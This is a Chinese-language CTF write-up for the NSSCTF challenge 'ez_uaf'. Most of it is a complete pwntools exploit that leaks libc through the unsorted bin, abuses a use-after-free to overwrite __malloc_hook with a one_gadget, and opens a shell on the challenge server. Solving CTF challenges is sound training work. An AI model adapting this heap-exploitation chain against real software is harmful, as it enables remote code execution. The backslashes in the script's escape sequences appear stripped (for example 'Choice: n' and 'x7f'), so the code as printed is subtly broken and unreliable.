题目

平台：NSSCTF

题目：[HNCTF 2022 WEEK4]ez_uaf

考点：unsorted bin泄露libc，64位libc-2.27利用UAF修改malloc_hook

代码

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('node5.anna.nssctf.cn', 23588)
#p=process('./ez_uaf')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#p=gdb.debug('./hacknote','b *0x08048939')
elf = ELF('./ez_uaf')
libc=ELF('./libc-2.27.so')

def create(size,name,content):
    p.sendlineafter(b"Choice: n", b"1")
    p.sendlineafter(b"Size:n", str(size))
    p.sendafter(b"Name: n", name)
    p.sendafter(b"Content:n", content)

def show(idx):
    p.sendlineafter(b"Choice: n", b"3")
    p.sendlineafter(b"idx:n", str(idx))
    
def free(idx):
    p.sendlineafter(b"Choice: n", b"2")
    p.sendlineafter(b"idx:n", str(idx))

def edit(idx,content):
    p.sendlineafter(b"Choice: n", b"4")
    p.sendlineafter(b"idx:n", str(idx))
    p.send(content)

create(0x410,b'name1111',b'aaaaaaaa')#0
create(0x20,b'name2222',b'bbbbbbbb')#1
free(0)
show(0)

main_arena_add96=u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
main_arena = main_arena_add96 - 96
malloc_hook_addr = main_arena-0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']

one_gadget = libc_base + 0x10a2fc
success('one_gadget: '+hex(one_gadget))
free(1)

edit(1,p64(malloc_hook_addr))

create(0x20,b'6666',b'cccccccc')#2
create(0x20,p64(one_gadget),b'bbbb')#3
#坑
p.sendlineafter(b"Choice: n", b"1")
p.sendlineafter(b"Size:n", b'16')
p.interactive()